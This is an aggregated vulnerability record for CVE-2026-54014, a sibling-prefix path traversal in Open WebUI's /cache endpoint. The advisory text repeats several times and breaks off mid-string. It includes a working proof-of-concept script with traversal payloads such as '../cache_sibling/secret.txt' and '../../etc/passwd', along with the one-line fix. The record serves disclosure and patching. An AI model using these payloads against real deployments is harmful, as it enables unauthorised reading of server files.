{"id":"CVE-2026-54014","aliases":["EUVD-2026-38528","GHSA-j2c8-v969-8r5c","PYSEC-2026-2736"],"status":"published","title":"Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00361,"percentile":0.30152,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-06-17T14:16:25Z","modified":"2026-10-28T02:30:46Z","fixes":[{"ecosystem":"PyPI","package":"open-webui","fixed_in":["0.9.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.9.5"},{"fixed":"0.9.6"}]}]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5"]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.6"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.5"]}],"products":[{"vendor":"open-webui","product":"open-webui"},{"vendor":"openwebui","product":"open_webui"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","Mitigation","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54014","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-j2c8-v969-8r5c","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2736.yaml","tags":["web"]},{"url":"https://pypi.org/project/open-webui","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54014.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-54014","title":"Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.","status":"published","published":"2026-06-23T16:45:39.22Z","modified":"2026-06-24T13:32:26.798Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-38528","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.","status":"published","published":"2026-06-23T16:45:39Z","modified":"2026-06-24T13:32:26Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T18:20:30.642628Z"}],"ghsa":[{"id":"GHSA-j2c8-v969-8r5c","title":"Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}","description":"## Summary\n\nA path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` — any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked — `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get('/cache/{path:path}')\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n    # prevent path traversal\n    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep\n        raise HTTPException(status_code=404, detail='File not found')\n    if not os.path.isfile(file_path):\n        raise HTTPException(status_code=404, detail='File not found')\n    return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# → \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# → True  ← BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# → False  ← BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n    f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n    f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n    id = \"poc\"\n    email = \"poc@test\"\n    role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n    \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": path,\n        \"query_string\": b\"\",\n        \"headers\": [(b\"host\", b\"localhost\")],\n        \"root_path\": \"\",\n        \"asgi\": {\"version\": \"3.0\"},\n    }\n    response_started = False\n    status_code = None\n    body_parts = []\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        nonlocal response_started, status_code\n        if message[\"type\"] == \"http.response.start\":\n            response_started = True\n            status_code = message[\"status\"]\n        elif message[\"type\"] == \"http.response.body\":\n            body_parts.append(message.get(\"body\", b\"\"))\n\n    await app(scope, receive, send)\n    return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n    s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n    s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n    s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n    baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n    deep_blocked = s3 == 404\n\n    print(f\"package:     open_webui (pip installed)\")\n    print(f\"version:     0.9.5\")\n    print(f\"function:    serve_cache_file (GET /cache/{{path}})\")\n    print(f\"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))\")\n    print(f\"bypass:      startswith without trailing os.sep allows sibling-prefix match\")\n    print()\n    print(f\"CACHE_DIR:   {CACHE_DIR}\")\n    print(f\"SIBLING:     {SIBLING_DIR}\")\n    print()\n    print(f\"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}\")\n    print(f\"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}\")\n    print(f\"[control]  /cache/../../etc/passwd     status={s3} (should be 404)\")\n    print()\n    print(f\"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}\")\n\n    shutil.rmtree(TEMP_DATA, ignore_errors=True)\n    sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n    raise HTTPException(status_code=404, detail='File not found')\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.","status":"published","published":"2026-06-17T14:16:25Z","modified":"2026-07-20T21:05:21Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:47.245721Z"}],"nvd":[{"id":"CVE-2026-54014","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.","status":"published","published":"2026-06-23T18:18:06.707Z","modified":"2026-06-25T14:36:17.513Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-54014","title":"Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.","status":"published","published":"2026-06-23T16:45:39.22Z","modified":"2026-10-28T02:30:46.037501162Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:08.132336Z"},{"id":"GHSA-j2c8-v969-8r5c","title":"Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}","description":"## Summary\n\nA path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` — any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked — `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get('/cache/{path:path}')\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n    # prevent path traversal\n    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep\n        raise HTTPException(status_code=404, detail='File not found')\n    if not os.path.isfile(file_path):\n        raise HTTPException(status_code=404, detail='File not found')\n    return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# → \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# → True  ← BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# → False  ← BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n    f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n    f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n    id = \"poc\"\n    email = \"poc@test\"\n    role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n    \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": path,\n        \"query_string\": b\"\",\n        \"headers\": [(b\"host\", b\"localhost\")],\n        \"root_path\": \"\",\n        \"asgi\": {\"version\": \"3.0\"},\n    }\n    response_started = False\n    status_code = None\n    body_parts = []\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        nonlocal response_started, status_code\n        if message[\"type\"] == \"http.response.start\":\n            response_started = True\n            status_code = message[\"status\"]\n        elif message[\"type\"] == \"http.response.body\":\n            body_parts.append(message.get(\"body\", b\"\"))\n\n    await app(scope, receive, send)\n    return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n    s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n    s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n    s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n    baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n    deep_blocked = s3 == 404\n\n    print(f\"package:     open_webui (pip installed)\")\n    print(f\"version:     0.9.5\")\n    print(f\"function:    serve_cache_file (GET /cache/{{path}})\")\n    print(f\"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))\")\n    print(f\"bypass:      startswith without trailing os.sep allows sibling-prefix match\")\n    print()\n    print(f\"CACHE_DIR:   {CACHE_DIR}\")\n    print(f\"SIBLING:     {SIBLING_DIR}\")\n    print()\n    print(f\"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}\")\n    print(f\"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}\")\n    print(f\"[control]  /cache/../../etc/passwd     status={s3} (should be 404)\")\n    print()\n    print(f\"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}\")\n\n    shutil.rmtree(TEMP_DATA, ignore_errors=True)\n    sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n    raise HTTPException(status_code=404, detail='File not found')\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.","status":"published","published":"2026-06-17T14:16:25Z","modified":"2026-07-20T21:15:27.51331212Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:49.621585Z"},{"id":"PYSEC-2026-2736","title":"Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}","description":"## Summary\n\nA path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` — without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` — any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked — `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get('/cache/{path:path}')\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n    # prevent path traversal\n    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep\n        raise HTTPException(status_code=404, detail='File not found')\n    if not os.path.isfile(file_path):\n        raise HTTPException(status_code=404, detail='File not found')\n    return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# → \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# → True  ← BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# → False  ← BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n    f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n    f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n    id = \"poc\"\n    email = \"poc@test\"\n    role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n    \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": path,\n        \"query_string\": b\"\",\n        \"headers\": [(b\"host\", b\"localhost\")],\n        \"root_path\": \"\",\n        \"asgi\": {\"version\": \"3.0\"},\n    }\n    response_started = False\n    status_code = None\n    body_parts = []\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        nonlocal response_started, status_code\n        if message[\"type\"] == \"http.response.start\":\n            response_started = True\n            status_code = message[\"status\"]\n        elif message[\"type\"] == \"http.response.body\":\n            body_parts.append(message.get(\"body\", b\"\"))\n\n    await app(scope, receive, send)\n    return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n    s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n    s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n    s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n    baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n    deep_blocked = s3 == 404\n\n    print(f\"package:     open_webui (pip installed)\")\n    print(f\"version:     0.9.5\")\n    print(f\"function:    serve_cache_file (GET /cache/{{path}})\")\n    print(f\"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))\")\n    print(f\"bypass:      startswith without trailing os.sep allows sibling-prefix match\")\n    print()\n    print(f\"CACHE_DIR:   {CACHE_DIR}\")\n    print(f\"SIBLING:     {SIBLING_DIR}\")\n    print()\n    print(f\"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}\")\n    print(f\"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}\")\n    print(f\"[control]  /cache/../../etc/passwd     status={s3} (should be 404)\")\n    print()\n    print(f\"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}\")\n\n    shutil.rmtree(TEMP_DATA, ignore_errors=True)\n    sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not 